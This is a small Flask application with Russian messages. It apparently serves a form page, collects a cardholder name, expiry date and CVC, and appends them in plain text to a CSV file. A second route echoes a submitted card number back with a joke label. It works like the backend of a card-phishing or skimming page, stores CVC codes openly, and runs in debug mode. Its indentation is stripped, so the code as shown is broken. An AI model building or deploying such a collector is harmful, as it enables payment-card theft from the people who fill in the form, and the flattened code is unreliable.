import random
from flask import Flask, render_template, request, jsonify
import os
import datetime
import csv
app = Flask(__name__)
@app.route('/')
def index():
return render_template('page.html')
def save_to_datas_csv(data):
filename = 'datas.csv'
file_exists = os.path.exists(filename)
with open(filename, 'a', newline='', encoding='utf-8') as file:
writer = csv.writer(file)
if not file_exists or os.path.getsize(filename) == 0:
writer.writerow(['time', 'name', 'date', 'cvc'])
time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
writer.writerow([time, data['name'], data['date'], data['cvc']])
return True
@app.route('/process', methods=['POST'])
def process():
data = {
'name': request.form.get('name', ''),
'date': request.form.get('date', ''),
'cvc': request.form.get('cvc', '')
}
save_to_datas_csv(data)
return jsonify({
'success': 'Данные успешно добавлены в datas.csv!',
'saved_name': data['name'],
'saved_date': data['date']
})
@app.route('/save', methods=['POST'])
def save():
number = request.form['number']
if int(number) % 2 == 0:
a = 'Пупсень'
else:
a = 'Вупсень'
return f"Номер вашей карты - {number}, поэтому вы {a}"
if __name__ == '__main__':
app.run(debug=True)